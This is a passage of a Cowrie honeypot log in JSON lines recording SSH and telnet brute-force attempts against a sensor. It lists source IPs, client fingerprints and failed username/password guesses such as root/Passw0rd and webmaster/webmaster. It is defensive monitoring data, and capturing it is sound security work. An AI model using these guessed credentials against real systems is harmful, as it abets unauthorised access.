-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:39.198036Z","src_ip":"45.153.34.112","session":"7b6e9bb4477f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:39.716207Z","src_ip":"45.153.34.112","session":"7b6e9bb4477f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.48583436012268,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:39.745486Z","src_ip":"192.119.13.58","session":"1f92d47da2a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:40.809486Z","src_ip":"45.153.34.112","session":"7b6e9bb4477f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52362,"dst_ip":"10.17.0.5","dst_port":22,"session":"24c70590e055","protocol":"ssh","message":"New connection: 45.153.34.112:52362 (10.17.0.5:22) [session: 24c70590e055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:42.910957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:42.915276Z","src_ip":"45.153.34.112","session":"24c70590e055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:42.997810Z","src_ip":"45.153.34.112","session":"24c70590e055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:43.248323Z","src_ip":"45.153.34.112","session":"24c70590e055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.935253858566284,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:44.236325Z","src_ip":"192.119.13.58","session":"8e95ca351b57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:44.453984Z","src_ip":"45.153.34.112","session":"24c70590e055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.98996829986572,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:44.544692Z","src_ip":"192.119.13.58","session":"974c3fad5f34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.62021732330322,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:44.608827Z","src_ip":"192.119.13.58","session":"77249aced621","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.242103099823,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:45.300604Z","src_ip":"192.119.13.58","session":"1855ec4f5030","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52366,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb9304a801d5","protocol":"ssh","message":"New connection: 45.153.34.112:52366 (10.17.0.5:22) [session: fb9304a801d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:46.400873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:46.405041Z","src_ip":"45.153.34.112","session":"fb9304a801d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.17685651779175,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:46.483301Z","src_ip":"192.119.13.58","session":"242b6a125d8a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:46.487715Z","src_ip":"45.153.34.112","session":"fb9304a801d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:46.947549Z","src_ip":"45.153.34.112","session":"fb9304a801d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":57008,"dst_ip":"10.17.0.5","dst_port":22,"session":"94946e8221ea","protocol":"ssh","message":"New connection: 170.106.177.3:57008 (10.17.0.5:22) [session: 94946e8221ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:47.555329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:47.559738Z","src_ip":"170.106.177.3","session":"94946e8221ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:47.627192Z","src_ip":"170.106.177.3","session":"94946e8221ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.63113522529602,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:47.786973Z","src_ip":"192.119.13.58","session":"348bbf963a2c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty007","message":"login attempt [root/qwerty007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:47.929636Z","src_ip":"170.106.177.3","session":"94946e8221ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:48.033408Z","src_ip":"45.153.34.112","session":"fb9304a801d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.089343547821045,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:48.152475Z","src_ip":"192.119.13.58","session":"c3646f7387e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":46082,"dst_ip":"10.17.0.5","dst_port":22,"session":"0de537530ada","protocol":"ssh","message":"New connection: 43.153.112.253:46082 (10.17.0.5:22) [session: 0de537530ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:48.319508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:48.323776Z","src_ip":"43.153.112.253","session":"0de537530ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:48.391594Z","src_ip":"43.153.112.253","session":"0de537530ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shirley","message":"login attempt [root/shirley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:48.695815Z","src_ip":"43.153.112.253","session":"0de537530ada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:49.001122Z","src_ip":"170.106.177.3","session":"94946e8221ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44530,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2a5a890ea41","protocol":"telnet","message":"New connection: 192.119.13.58:44530 (10.17.0.5:23) [session: d2a5a890ea41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:49.737298Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:49.767143Z","src_ip":"43.153.112.253","session":"0de537530ada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58930,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b70779ab117","protocol":"ssh","message":"New connection: 45.153.34.112:58930 (10.17.0.5:22) [session: 3b70779ab117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:50.237218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:50.242177Z","src_ip":"45.153.34.112","session":"3b70779ab117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:50.326314Z","src_ip":"45.153.34.112","session":"3b70779ab117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:50.578097Z","src_ip":"45.153.34.112","session":"3b70779ab117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:51.856300Z","src_ip":"45.153.34.112","session":"3b70779ab117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59856,"dst_ip":"10.17.0.5","dst_port":23,"session":"d59ccb22c8a3","protocol":"telnet","message":"New connection: 192.119.13.58:59856 (10.17.0.5:23) [session: d59ccb22c8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:53.463474Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58946,"dst_ip":"10.17.0.5","dst_port":22,"session":"74c142ca9380","protocol":"ssh","message":"New connection: 45.153.34.112:58946 (10.17.0.5:22) [session: 74c142ca9380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:53.766390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:53.771022Z","src_ip":"45.153.34.112","session":"74c142ca9380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:53.852920Z","src_ip":"45.153.34.112","session":"74c142ca9380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33544,"dst_ip":"10.17.0.5","dst_port":23,"session":"589dcc5296bb","protocol":"telnet","message":"New connection: 192.119.13.58:33544 (10.17.0.5:23) [session: 589dcc5296bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:53.927208Z"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:54.101718Z","src_ip":"45.153.34.112","session":"74c142ca9380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36272,"dst_ip":"10.17.0.5","dst_port":23,"session":"18ecc3d36b07","protocol":"telnet","message":"New connection: 192.119.13.58:36272 (10.17.0.5:23) [session: 18ecc3d36b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:54.614394Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:55.188974Z","src_ip":"45.153.34.112","session":"74c142ca9380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58958,"dst_ip":"10.17.0.5","dst_port":22,"session":"521dafc01adf","protocol":"ssh","message":"New connection: 45.153.34.112:58958 (10.17.0.5:22) [session: 521dafc01adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:57.623735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:57.629695Z","src_ip":"45.153.34.112","session":"521dafc01adf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:57.714821Z","src_ip":"45.153.34.112","session":"521dafc01adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:57.965074Z","src_ip":"45.153.34.112","session":"521dafc01adf","protocol":"ssh"}
